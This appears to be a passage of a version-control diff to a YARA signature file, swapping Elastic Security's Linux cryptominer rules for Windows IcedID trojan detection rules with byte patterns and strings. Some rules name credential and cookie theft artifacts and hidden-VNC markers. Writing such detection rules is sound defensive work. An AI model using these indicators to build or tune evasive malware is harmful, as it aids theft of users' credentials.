+		$a3 = "aws.amazon.com" wide fullword
+		$a4 = "Cookie: __gads=" wide fullword
+		$b1 = "LookupAccountNameW" ascii fullword
+		$b2 = "GetUserNameA" ascii fullword
+		$b3 = "; _gat=" wide fullword
+		$b4 = "; _ga=" wide fullword
+		$b5 = "; _u=" wide fullword
+		$b6 = "; __io=" wide fullword
+		$b7 = "; _gid=" wide fullword
+		$b8 = "%s%u" wide fullword
+		$b9 = "i\\|9*" ascii fullword
+		$b10 = "WinHttpSetStatusCallback" ascii fullword
 
 	condition:
-		all of them
+		all of ($a*) and 5 of ($b*)
 }
-rule ELASTIC_Linux_Cryptominer_Generic_3A8D0974 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_11D24D35 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
 		author = "Elastic Security"
-		id = "3a8d0974-384e-4d62-9aa8-0bd8f7d50206"
-		date = "2021-06-28"
-		modified = "2021-09-16"
-		reference = "193fe9ea690759f8e155458ef8f8e9efe9efc8c22ec8073bbb760e4f96b5aef7"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L581-L599"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "7039d461d8339d635a543fae2c6dbea284ce1b727d6585b69d8d621c603f37ac"
+		id = "11d24d35-6bff-4fac-83d8-4d152aa0be57"
+		date = "2022-02-16"
+		modified = "2022-04-06"
+		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L101-L121"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b8d794f6449669ff2d11bc635490d9efdd1f4e92fcb3be5cdb4b40e4470c0982"
+		logic_hash = "4a5d0f37e3e80e370ae79fd45256dbd274ed8f8bcd021e8d6f95a0bc0bc5321f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "60cb81033461e73fcb0fb8cafd228e2c9478c132f49e115c5e55d5579500caa2"
-		severity = "100"
+		fingerprint = "155e5df0f3f598cdc21e5c85bcf21c1574ae6788d5f7e0058be823c71d06c21e"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 07 41 89 34 06 48 83 C0 04 48 83 F8 20 75 EF 8B 42 D4 66 0F }
+		$a1 = "C:\\Users\\user\\source\\repos\\anubis\\bin\\RELEASE\\loader_dll_64.pdb" ascii fullword
+		$a2 = "loader_dll_64.dll" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*)
 }
-rule ELASTIC_Linux_Cryptominer_Generic_B9E6Ffdf : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_0B62E783 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
 		author = "Elastic Security"
-		id = "b9e6ffdf-4b2b-4052-9c91-a06f43a2e7b8"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L601-L619"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c0f3200a93f1be4589eec562c4f688e379e687d09c03d1d8850cc4b5f90f192a"
-		logic_hash = "57d5b3eb5812a849d04695bdb1fb728a5ebd3bf5201ac3e7f36d37af0622eec2"
+		id = "0b62e783-5c1a-4377-8338-1c53194b8d01"
+		date = "2022-04-06"
+		modified = "2022-06-09"
+		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L123-L142"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b9fb0a4c28613c556fb67a0b0e7c9d4c1236b60a161ad935e7387aec5911413a"
+		logic_hash = "aca126529dfa8047ed7dfdc60d970759ab5307448d7d764f88e402cd8d2a016f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fdd91d5802d5807d52f4c9635e325fc0765bb54cf51305c7477d2b791f393f3e"
+		fingerprint = "2f473fbe6338d9663808f1a3615cf8f0f6f9780fbce8f4a3c24f0ddc5f43dd4a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 D8 48 83 C4 20 5B C3 0F 1F 00 BF ?? ?? 40 00 }
+		$a = { 89 44 95 E0 83 E0 07 8A C8 42 8B 44 85 E0 D3 C8 FF C0 42 89 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_7Ef74003 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_91562D18 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
 		author = "Elastic Security"
-		id = "7ef74003-cd1f-4f2f-9c96-4dbcabaa36e4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L621-L639"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a172cfecdec8ebd365603ae094a16e247846fdbb47ba7fd79564091b7e8942a0"
-		logic_hash = "1bde07dbb88357fcc02171512725be94d9fc0427c03afb2d59fbd0658c5d8e2e"
+		id = "91562d18-28a1-4349-9e4b-92ad165510c9"
+		date = "2022-04-06"
+		modified = "2022-06-09"
+		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L144-L163"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b9fb0a4c28613c556fb67a0b0e7c9d4c1236b60a161ad935e7387aec5911413a"
+		logic_hash = "81c87d0d6726bc2dde42fe93c77af53cdd29bb6437fe3d47d1b4550140722c88"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "187fd82b91ae6eadc786cadac75de5d919a2b8a592037a5bf8da2efa2539f507"
+		fingerprint = "024bbd15da6bc759e321779881b466b500f6364a1d67bbfdc950aedccbfbc022"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 41 56 45 31 F6 41 55 49 89 F5 41 54 44 8D 67 01 55 4D 63 E4 53 49 C1 }
+		$a = { 44 8B 4C 19 2C 4C 03 D6 74 1C 4D 85 C0 74 17 4D 85 C9 74 12 41 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_1D0700B8 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_2086Aecb : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
 		author = "Elastic Security"
-		id = "1d0700b8-1bc0-4da2-a903-9d78e79e71d8"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L641-L659"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "de59bee1793b88e7b48b6278a52e579770f5204e92042142cc3a9b2d683798dd"
-		logic_hash = "a24264cb071d269c82718aed5bc5c6c955e1cb2c7a63fe74d4033bfa6adf8385"
+		id = "2086aecb-161b-4102-89c7-580fb9ac3759"
+		date = "2022-04-06"
+		modified = "2022-03-02"
+		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L165-L184"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b9fb0a4c28613c556fb67a0b0e7c9d4c1236b60a161ad935e7387aec5911413a"
+		logic_hash = "561bf7eacfbbf1b4e0c111347f0d6ff4325bdbce8db73bee1ba836b610569c0d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "19853be803f82e6758554a57981e1b52c43a017ab88242c42a7c39f6ead01cf3"
+		fingerprint = "a8b6cbb3140ff3e1105bb32a2da67831917caccc4985c485bbfdb0aa50016d86"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 30 42 30 42 00 22 22 03 5C DA 10 00 C0 00 60 43 9C 64 48 00 00 00 }
+		$a = { 4C 8D 05 [4] 42 8A 44 01 ?? 42 32 04 01 88 44 0D ?? 48 FF C1 48 83 F9 20 72 ?? }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_55Beb2Ee : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_48029E37 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
 		author = "Elastic Security"
-		id = "55beb2ee-7306-4134-a512-840671cc4490"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L661-L679"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "edda1c6b3395e7f14dd201095c1e9303968d02c127ff9bf6c76af6b3d02e80ad"
-		logic_hash = "8a31b4866100b35d559d50f5db6f80d51bced93f9aac3f0d2d1de71ba692a3c5"
+		id = "48029e37-b392-4d53-b0de-2079f6a8a9d9"
+		date = "2022-04-06"
+		modified = "2022-06-09"
+		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L186-L205"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b9fb0a4c28613c556fb67a0b0e7c9d4c1236b60a161ad935e7387aec5911413a"
+		logic_hash = "1fe337d7a0607938aaf57cf25c1373aadf315b7a8cec133d6d30a38bd58e1027"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "707a1478f86da2ec72580cfe4715b466e44c345deb6382b8dc3ece4e3935514d"
+		fingerprint = "375266b526fe14354550d000d3a10dde3f6a85e11f4ba5cab14d9e1f878de51e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 FC 00 00 00 8B 84 24 C0 00 00 00 0F 29 84 24 80 00 00 00 0F 11 94 24 C4 00 }
+		$a = { 48 C1 E3 10 0F 31 48 C1 E2 ?? 48 0B C2 0F B7 C8 48 0B D9 8B CB 83 E1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_Fdd7340F : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_56459277 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "IcedID Gzip Variant Core"
 		author = "Elastic Security"
-		id = "fdd7340f-49d6-4770-afac-24104a3c2f86"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L681-L699"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "de59bee1793b88e7b48b6278a52e579770f5204e92042142cc3a9b2d683798dd"
-		logic_hash = "fd39ba5cf050d23de0889feefa9cd74dfb6385a09aa9dba90dc1d5d6cb020867"
+		id = "56459277-432c-437c-9350-f5efaa60ffca"
+		date = "2022-08-21"
+		modified = "2023-03-02"
+		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L207-L237"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "21b1a635db2723266af4b46539f67253171399830102167c607c6dbf83d6d41c"
+		logic_hash = "a18557217c69a3bb8c3da7725d2e0ed849741f8e36341a4ea80eea09d47a5b45"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cc302eb6c133901cc3aa78e6ca0af16a620eb4dabb16b21d9322c4533f11d25f"
+		fingerprint = "503bfa6800e0f4ff1a0b56eb8a145e67fa0f387c84aee7bd2eca3cf7074be709"
+		threat_name = "Windows.Trojan.IcedID"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { EA 48 89 DE 48 8D 7C 24 08 FF 53 18 48 8B 44 24 08 48 83 78 }
+		$str1 = "cookie.tar" ascii fullword
+		$str2 = "passff.tar" ascii fullword
+		$str3 = "\\sqlite64.dll" ascii fullword
+		$str4 = "Cookie: session=" ascii fullword
+		$str5 = "{0ccac395-7d1d-4641-913a-7558812ddea2}" ascii fullword
+		$str6 = "mail_vault" wide fullword
+		$seq_decrypt_payload = { 42 0F B6 04 32 48 FF C2 03 C8 C1 C1 ?? 48 3B D7 72 ?? 44 33 F9 45 33 C9 44 89 3C 3B 48 85 FF 74 ?? 41 0F B6 D1 44 8D 42 01 83 E2 03 41 83 E0 03 }
+		$seq_compute_hash = { 0F B6 4C 14 ?? 48 FF C2 8B C1 83 E1 ?? 48 C1 E8 ?? 41 0F B7 04 41 66 89 03 48 8D 5B ?? 41 0F B7 0C 49 66 89 4B ?? 48 83 FA ?? 72 ?? 66 44 89 03 B8 }
+		$seq_format_string = { C1 E8 ?? 44 0B D8 41 0F B6 D0 8B C1 C1 E2 ?? C1 E1 ?? 25 [4] 0B C1 41 C1 E8 ?? 41 0F B6 CA 41 0B D0 44 8B 44 24 ?? C1 E0 ?? C1 E1 ?? 41 C1 EB ?? 44 0B D8 41 C1 EA ?? 0F B7 44 24 ?? 41 0B CA }
+		$seq_custom_ror = { 41 8A C0 41 8A D0 02 C0 0F B6 C8 8A C1 44 8B C1 34 ?? 84 D2 0F B6 C8 44 0F 48 C1 49 83 EB }
+		$seq_string_decrypt = { 0F B7 44 24 ?? 0F B7 4C 24 ?? 3B C1 7D ?? 8B 4C 24 ?? E8 [4] 89 44 24 ?? 0F B7 44 24 ?? 48 8B 4C 24 ?? 0F B6 04 01 0F B6 4C 24 ?? 33 C1 0F B7 4C 24 ?? 48 8B 54 24 ?? 88 04 0A EB }
 
 	condition:
-		all of them
+		5 of ($str*) or 2 of ($seq_*)
 }
-rule ELASTIC_Linux_Cryptominer_Generic_2627921E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_7C1619E3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "IcedID Injector Variant Loader "
 		author = "Elastic Security"
-		id = "2627921e-6c0d-4515-a09a-b2c99a59598d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L701-L719"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "350a8ceabd8495e66cc58885f1ab38f602c66c162c05e4b6ae0e2a7977ec2cdf"
-		logic_hash = "edb2864719d62ab212bde1adf02dd17c8edc8ce4ae273b959e58a3eaf751fd7c"
+		id = "7c1619e3-f94a-4a46-8a81-d5dd7a58c754"
+		date = "2022-12-20"
+		modified = "2023-02-01"
+		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L239-L261"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4f6de748628b8b06eeef3a5fabfe486bfd7aaa92f50dc5a8a8c70ec038cd33b1"
+		logic_hash = "24ddaf474dabc5e91cce08734a035feced9048a3faac4ff236bc97e6caabd642"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2551ece438a09700c825faa63caa3e21ced94c85bdaa5b1b0dd63603d4fa9bb6"
+		fingerprint = "ae21deaad74efaff5bec8c9010dc340118ac4c79e3bec190a7d3c3672a5a8583"
+		threat_name = "Windows.Trojan.IcedID"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 0F 6F D0 66 44 0F 6F C1 66 0F 69 E2 66 44 0F 61 D2 66 44 0F }
+		$a1 = { C1 C9 0D 0F BE C0 03 C8 46 8A 06 84 C0 75 ?? 8B 74 24 ?? 81 F1 [4] 39 16 76 }
+		$a2 = { D1 C8 F7 D0 D1 C8 2D 20 01 00 00 D1 C0 F7 D0 2D 01 91 00 00 }
+		$a3 = { 8B 4E ?? FF 74 0B ?? 8B 44 0B ?? 03 C1 50 8B 44 0B ?? 03 46 ?? 50 E8 [4] 8B 46 ?? 8D 5B ?? 83 C4 0C 47 3B 78 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_E36A35B0 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_D8B23Cd6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "IcedID VNC server"
 		author = "Elastic Security"
-		id = "e36a35b0-cb38-4d2d-bca2-f3734637faa8"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L721-L739"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ab6d8f09df67a86fed4faabe4127cc65570dbb9ec56a1bdc484e72b72476f5a4"
-		logic_hash = "0572f584746a2af6f545798b25445fd4e764a9eecc01b7476e5c1af631eb314a"
+		id = "d8b23cd6-c20c-40c9-a8e9-80d68e709764"
+		date = "2023-01-03"
+		modified = "2023-01-03"
+		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L263-L294"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bd4da2f84c29437bc7efe9599a3a41f574105d449ac0d9b270faaca8795153ab"
+		logic_hash = "47e427a4f088de523115f438cad9fc26233158b0518d87703c282df351110762"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0ee42ff704c82ee6c2bc0408cccb77bcbae8d4405bb1f405ee09b093e7a626c0"
+		fingerprint = "d47af2b50d0fb07858538fdb9f53fee008b49c9b1d015e4593199407673e0e21"
+		threat_name = "Windows.Trojan.IcedID"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 71 F2 08 66 0F EF C1 66 0F EF D3 66 0F 7F 44 24 60 66 0F 7F 54 }
+		$a1 = "User idle %u sec / Locked: %s / ScreenSaver: %s" wide
+		$a2 = "No VNC HOOK" wide
+		$a3 = "Webcam %u" wide
+		$a4 = "rundll32.exe shell32.dll,#61"
+		$a5 = "LAP WND"
+		$a6 = "FG WND"
+		$a7 = "CAP WND"
+		$a8 = "HDESK Tmp" wide
+		$a9 = "HDESK Bot" wide
+		$a10 = "HDESK bot" wide
+		$a11 = "CURSOR: %u, %u"
+		$b1 = { 83 7C 24 ?? 00 75 ?? 83 7C 24 ?? 00 75 ?? [1] 8B 0D [4] 8B 44 24 }
 
 	condition:
-		all of them
+		6 of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_6Dad0380 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_A2Ca5F80 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "IcedID Injector Variant Core"
 		author = "Elastic Security"
-		id = "6dad0380-7771-4fb9-a7e5-176eeb6fcfd7"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L741-L759"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "628b1cc8ccdbe2ae0d4ef621da047e07e2532d00fe3d4da65f0a0bcab20fb546"
-		logic_hash = "b305448d5517212adb7586e7af12842095e1a263520511329e40f0865fe4f81b"
+		id = "a2ca5f80-85b1-4502-8794-b8b4ea1be482"
+		date = "2023-01-16"
+		modified = "2023-04-23"
+		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L296-L323"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e36266cd66b9542f2eb9d38f9a01f7b480f2bcdbe61fe20944dca33e22bd3281"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ffe022f42e98c9c1eeb3aead0aca9d795200b4b22f89e7f3b03baf96f18c9473"
+		fingerprint = "dfbacf63b91315e5acf168b57bf18283ba30f681f5b3d3835418d0d32d238854"
+		threat_name = "Windows.Trojan.Icedid"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 48 C1 E6 05 48 01 C6 48 39 F1 74 05 49 89 74 24 08 44 89 E9 48 C1 }
+		$a1 = "EMPTY"
+		$a2 = "CLEAR"
+		$a3 = { 66 C7 06 6D 3D 83 C6 02 0F B6 05 [4] 50 68 34 73 00 10 56 FF D7 03 F0 66 C7 06 26 6A C6 46 ?? 3D 83 C6 03 }
+		$a4 = { 8B 46 ?? 6A 00 FF 76 ?? F7 D8 FF 76 ?? 1B C0 FF 76 ?? 50 FF 76 ?? 53 FF 15 }
+		$a5 = { 8D 44 24 ?? 89 7C 24 ?? 89 44 24 ?? 33 F6 B8 BB 01 00 00 46 55 66 89 44 24 ?? 89 74 24 ?? E8 [4] 89 44 24 ?? 85 C0 74 ?? 8B AC 24 }
+		$a6 = { 8A 01 88 45 ?? 45 41 83 EE 01 75 ?? 8B B4 24 [4] 8B 7E }
+		$a7 = { 53 E8 [4] 8B D8 30 1C 2F 45 59 3B EE 72 }
+		$a8 = { 8B 1D [4] 33 D9 6A 00 53 52 E8 [4] 83 C4 0C 89 44 24 ?? 85 C0 0F 84 }
+		$a9 = { C1 C9 0D 0F BE C0 03 C8 46 8A 06 }
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_E73F501E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_B8C59889 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "IcedID fork init loader"
 		author = "Elastic Security"
-		id = "e73f501e-019c-4281-ae93-acde7ad421af"
-		date = "2021-12-13"
-		modified = "2022-01-26"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L761-L779"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2f646ced4d05ba1807f8e08a46ae92ae3eea7199e4a58daf27f9bd0f63108266"
-		logic_hash = "2f6187f3447f9409485e9e8aa047114aa3c38bcc338106c3ed8680152dff121a"
+		id = "b8c59889-2cc6-49c6-a81a-4bc36f3b1f6f"
+		date = "2023-05-05"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L325-L349"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a63d08cd53053bfda17b8707ab3a94cf3d6021097335dc40d5d211fb9faed045"
+		logic_hash = "08c6c604d1791c35a8494e5ec8a96e8c5dd2ca3d6c57971da20057ce8960fa1d"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "bd9e6f2548c918b2c439a047410b6b239c3993a3dbd85bfd70980c64d11a6c5c"
+		fingerprint = "2f15ed0bc186b83a298eb51b43f10aa46ce6654ea9312a9529d36fc4cff05d4c"
+		threat_name = "Windows.Trojan.IcedID"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 03 51 8A 92 FF F3 20 01 DE 63 AF 8B 54 73 0A 65 83 64 88 60 }
+		$a1 = "{%0.8X-%0.4X-%0.4X-%0.4X-%0.4X%0.8X}" wide fullword
+		$a2 = "\\1.bin" wide fullword
+		$a3 = "c:\\ProgramData" wide fullword
+		$a4 = "Loader.dll" ascii fullword
+		$seq_crypto = { 83 E1 03 83 E0 03 48 8D 14 8A 41 8B 0C 80 4D 8D 04 80 41 0F B6 00 83 E1 07 02 02 41 32 04 29 41 88 04 19 49 FF C1 8B 02 }
 
 	condition:
-		all of them
+		4 of ($a*) or 1 of ($seq*)
 }
-rule ELASTIC_Linux_Cryptominer_Generic_5E56D076 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_81Eff9A3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "IcedID fork core bot loader"
 		author = "Elastic Security"
-		id = "5e56d076-0d6d-4979-8ebc-52607dcdb42d"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L781-L799"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "32e1cb0369803f817a0c61f25ca410774b4f37882cab966133b4f3e9c74fac09"
